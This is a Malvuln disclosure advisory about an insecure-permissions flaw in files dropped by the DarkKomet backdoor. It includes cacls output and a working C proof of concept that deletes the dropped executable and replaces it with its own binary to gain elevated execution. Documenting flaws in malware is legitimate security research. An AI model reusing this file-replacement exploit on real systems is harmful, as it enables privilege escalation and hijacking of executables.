Original source: https://malvuln.com/advisory/66fa06a4e3e799b059910dc17de295ae.txt
Contact:
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Threat: Backdoor.Win32.DarkKomet.bhfh
Vulnerability: Insecure Permissions
Description: DarkKomet.bhfh creates a hidden dir named "System"
under c: drive and drops an EXE named "ÚÈÏÇáÑÍãä.exe". After
logoff, any standard user can just delete and replace the
executable as DarkKomet grants change (C) permissions to the
authenticated users group.
Type: PE32
MD5: 66fa06a4e3e799b059910dc17de295ae
Vuln ID: MVID-2021-0052
Dropped files: ÚÈÏÇáÑÍãä.exe
Disclosure: 01/25/2021
Exploit/PoC:
C:\>cacls C:\System\ÚÈÏÇáÑÍãä.exe
C:\System\ÚÈÏÇáÑÍãä.exe BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
#include "stdio.h"
#include "windows.h"
#define TARGET "C:\\System\\ÚÈÏÇáÑÍãä.exe"
#define TMP "C:\\System\\2.exe"
#define DISABLED_TARGET "C:\\System\\666.tmp"
/*
Backdoor.Win32.DarkKomet.bhfh.66fa06a4e3e799b059910dc17de295ae
*/
/* Insecure Permissions EoP */
/* Log out under as the current privileged user account, run the
exploit as standard user */
/* By Malvuln */
BOOL PWNED=FALSE;
BOOL FileExists(LPCTSTR szPath){
DWORD dwAttrib = GetFileAttributes(szPath);
return (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib &
FILE_ATTRIBUTE_DIRECTORY));
}
void main(void){
if(!FileExists(DISABLED_TARGET)){
WinExec("cmd.exe /c del /a C:\\System\\ÚÈÏÇáÑÍãä.exe", 0);
Sleep(1000);
CopyFile(TARGET, TMP, FALSE);
Sleep(1000);
CopyFile(TMP, DISABLED_TARGET, FALSE);
printf("[+] Backdoor.Win32.DarkKomet.bhfh EoP PoC\n");
Sleep(1000);
printf("[+] Disabled ÚÈÏÇáÑÍãä.exe ...\n");
Sleep(300);
}else{
PWNED=TRUE;
}
if(!PWNED){
char fname[MAX_PATH];
char newLoc[]=TARGET;
DWORD size = GetModuleFileNameA(NULL, fname, MAX_PATH);
if (size){
printf("[+] Copying exploit to vuln System dir...\n");
Sleep(1000);
CopyFile(fname, TARGET, FALSE);
printf("[+] Replaced ÚÈÏÇáÑÍãä.EXE...\n");
printf("[+] Done!\n");
exit(0);
}
}else{
if(FileExists(TMP)){
remove(TMP);
}
printf("[+] Backdoor.Win32.DarkKomet.bhfh PWNED!\n");
printf("[+] MD5: 66fa06a4e3e799b059910dc17de295ae\n");
printf("[+] By Malvuln\n");
system("pause");
}
}
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